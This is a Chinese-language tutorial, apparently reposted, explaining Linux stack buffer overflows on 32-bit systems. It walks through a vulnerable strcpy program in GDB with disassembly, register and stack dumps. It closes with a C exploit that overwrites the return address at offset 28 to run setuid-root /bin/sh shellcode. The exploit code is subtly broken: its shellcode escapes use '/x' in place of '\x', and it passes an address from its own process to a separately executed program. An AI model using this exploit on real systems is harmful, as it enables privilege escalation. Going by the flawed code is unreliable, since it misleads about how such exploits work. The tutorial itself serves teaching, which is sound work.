Linux下栈溢出的原理及利用
作者:xinhe
1、进程空间的内存分布
一个程序在运行时系统会给这个程序分配4GB的虚拟内存,而这4GB有2GB是共享的,内核可以访问,
还有2GB是进程独占的,而程序又分为程序段,数据段,堆栈段。动态数据都是通过堆栈段来存放。
其分布如下:
内存高端
+-------------------+
| 程序段 |
+-------------------+
| 数据段 |
+-------------------+
| 堆 栈 |
+-------------------+
内存低端
而堆栈段的分布又如下:
内存高端
+-------------------+
| 函数栈 |
+-------------------+
| 函数栈 |
+-------------------+
| ------- |
+-------------------+
| 堆 |
+-------------------+
内存低端
2、程序对堆栈的使用
程序每调用一个函数,就会在堆栈里申请一定的空间,我们把这个空间称为函数栈,而随着函数调用层数的
增加, 函数栈一块块地从高端内存向低端内存地址方向延伸.反之,随着进程中函数调用层数的减少, 即各
函数调用的返回, 函数栈会一块块地被遗弃而向内存的高址方向回缩.各函数的栈大小随着函数的性质的不
同而不等, 由函数的局部变量的数目决定。
进程对内存的动态申请是发生在Heap(堆)里的. 也就是说, 随着系统动态分配给进程的内存数量的增加,
Heap(堆)有可能向高址或低址延伸, 依赖于不同CPU的实现. 但一般来说是向内存的高地址方向增长的。
当发生函数调用时,先将函数的参数压入栈中,然后将函数的返回地址压入栈中,这里的返回地址通常是
Call的下一条指令的地址。
这里结合一个实例来说明这一过程:
写这么一个程序
//test.c
#include<stdio.h>
int fun(char *str)
{
char buffer[10];
strcpy(buffer,str);
printf("%s",buffer);
return 0;
}
int main(int argc,char **argv)
{
int i=0;
char *str;
str=argv[1];
fun(str);
return 0;
}
编译 gcc -g -o test test.c
然后用GDB来进来调试
gdb test
反汇编main函数
0x080483db <main+0>: push %ebp
0x080483dc <main+1>: mov %esp,%ebp
0x080483de <main+3>: sub $0x8,%esp
0x080483e1 <main+6>: and $0xfffffff0,%esp
0x080483e4 <main+9>: mov $0x0,%eax
0x080483e9 <main+14>: sub %eax,%esp
0x080483eb <main+16>: movl $0x0,0xfffffffc(%ebp)
0x080483f2 <main+23>: mov 0xc(%ebp),%eax
0x080483f5 <main+26>: add $0x4,%eax
0x080483f8 <main+29>: mov (%eax),%eax
0x080483fa <main+31>: mov %eax,0xfffffff8(%ebp)
0x080483fd <main+34>: sub $0xc,%esp
0x08048400 <main+37>: pushl 0xfffffff8(%ebp)
0x08048403 <main+40>: call 0x80483a8 <fun>
0x08048408 <main+45>: add $0x10,%esp
0x0804840b <main+48>: mov $0x0,%eax
0x08048410 <main+53>: leave
0x08048411 <main+54>: ret
注意这一行
0x08048403 <main+40>: call 0x80483a8 <fun>
这一行是调用fun函数,而下一行的指令地址为:0x08048408,也就是说当fun调用完以后要返回0x08048408
在原程序的第14行设置断点
b 14
run AAAA
这时,程序装运行到函数调用之前,看一下寄存器的地址
i reg
eax 0xbffffaa7 -1073743193
ecx 0xbffff960 -1073743520
edx 0xbffff954 -1073743532
ebx 0x4014effc 1075113980
esp 0xbffff8c0 0xbffff8c0
ebp 0xbffff8c8 0xbffff8c8
esi 0x2 2
edi 0x401510fc 1075122428
eip 0x80483fd 0x80483fd
eflags 0x200282 2097794
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
这里我们需要关心的寄存器主要主esp(栈顶指针),ebp(栈底指针),eip(指令指针)
看一下esp里的数据
x/8x $esp
0xbffff8c0: 0xbffffaa7 0x00000000 0xbffff928 0x4004cad4
0xbffff8d0: 0x00000002 0xbffff954 0xbffff960 0x40037090
再看一下str的地址
print str
$1 = 0xbffffaa7 "AAAA"
因为str就是命令行里的参数,很明显,这里调了main函数时后首先是参数地址被压入栈里。
然后单步执行程序后再看寄存器
si
si
si
i reg
eax 0xbffffaa7 -1073743193
ecx 0xbffff960 -1073743520
edx 0xbffff954 -1073743532
ebx 0x4014effc 1075113980
esp 0xbffff8ac 0xbffff8ac
ebp 0xbffff8c8 0xbffff8c8
esi 0x2 2
edi 0x401510fc 1075122428
eip 0x80483a8 0x80483a8
eflags 0x200396 2098070
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
我们发现esp的值变了,看看压进去了些什么东西
x/8x $esp
0xbffff8ac: 0x08048408 0xbffffaa7 0x4014effc 0x00000000
0xbffff8bc: 0x4014effc 0xbffffaa7 0x00000000 0xbffff928
这里我很可以很清楚的看到调用过程
首先把参数地址0xbffffaa7压入栈内,然后把返回地址0x08048408压入栈内
接着往下看
我们把fun函数也反汇编出来
disas fun
0x080483a8 <fun+0>: push %ebp
0x080483a9 <fun+1>: mov %esp,%ebp
0x080483ab <fun+3>: sub $0x18,%esp
0x080483ae <fun+6>: sub $0x8,%esp
0x080483b1 <fun+9>: pushl 0x8(%ebp)
0x080483b4 <fun+12>: lea 0xffffffe8(%ebp),%eax
0x080483b7 <fun+15>: push %eax
0x080483b8 <fun+16>: call 0x80482e8 <_init+72>
0x080483bd <fun+21>: add $0x10,%esp
0x080483c0 <fun+24>: sub $0x8,%esp
0x080483c3 <fun+27>: lea 0xffffffe8(%ebp),%eax
0x080483c6 <fun+30>: push %eax
0x080483c7 <fun+31>: push $0x80484e8
0x080483cc <fun+36>: call 0x80482d8 <_init+56>
0x080483d1 <fun+41>: add $0x10,%esp
0x080483d4 <fun+44>: mov $0x0,%eax
0x080483d9 <fun+49>: leave
0x080483da <fun+50>: ret
再继续往下执行
si
si
si
x/16x $esp
0xbffff890: 0x08048414 0x080495d0 0xbffff8a8 0x080482b5
0xbffff8a0: 0x00000000 0x00000000 0xbffff8c8 0x08048408
0xbffff8b0: 0xbffffaa7 0x4014effc 0x00000000 0x4014effc
0xbffff8c0: 0xbffffaa7 0x00000000 0xbffff928 0x4004cad4
print &buffer
$7 = (char (*)[10]) 0xbffff890
这里可以看出,程序以为buffer分配了空间,而且空间大小为24字节。
程序继续执行
next
x/16x $esp
0xbffff890: 0x41414141 0x08049500 0xbffff8a8 0x080482b5
0xbffff8a0: 0x00000000 0x00000000 0xbffff8c8 0x08048408
0xbffff8b0: 0xbffffaa7 0x4014effc 0x00000000 0x4014effc
0xbffff8c0: 0xbffffaa7 0x00000000 0xbffff928 0x4004cad4
从这里我们可以看出从0xbffff890这个地址开始(也是buffer的地址)开始向高端内存填充,这里填充了
4个"A"A的ACSII码为41
3.其于栈的缓冲区溢出
我们还是接着这个程序来分析
我们定义buffer时是要求分配10字节的空间,而程序实际可分配了24个字节的空间,在strcpy执行时
向buffer里拷贝A时并未检查长度,如果我们向buffer里拷贝的A如果超过24个字节,就会产生溢出。
如果向buffer里拷贝的A的长度够长,把返回地址0x08048408覆盖了的话程序就会出错。一般会报段
错误或者非法指令,如果返回地址无法访问,则产生段误,如果不可执行则视为非法指令。
4.其于栈的缓冲区溢出利用。
既然我们可能覆盖返回地址,也就意味着我们可以控制程序的流程,如果这个返回地址正好是一个shellcode
的入口,那么就可以利用这个有溢出的程序来获得一个shell。
下面我们就写一个exploit来攻击这个程序
//test_exploit.c
#include<stdio.h>
#include<unistd.h>
char shellCode[] = "/x31/xdb/x89/xd8/xb0/x17/xcd/x80"
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c"
"/xb0/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb"
"/x89/xd8/x40/xcd/x80/xe8/xdc/xff/xff/xff/bin/sh";
int main()
{
char str[]="AAAAAAAAAA"
"AAAAAAAAAA"
"AAAAAAAAAA"
"AAAAA";
*(int *)&str[28]=(int)shellCode;
char *arg[]={"./test",str,NULL};
execve(arg[0],arg,NULL);
return 0;
}
这里我们把str的第28、29、30、31节字里存放shellCode的地址,因为从上面的分析我们得知返回地址在
距buffer偏移为28的地方。
编译这个程序
gcc -g -o test_exploit test_exploit.c
执行,哈哈,我们期待的shellCode出现了。
转载者注:有本杂志<<缓冲区溢出教程>>王炜 方勇 编著.对shellcode有较为系统的讲述.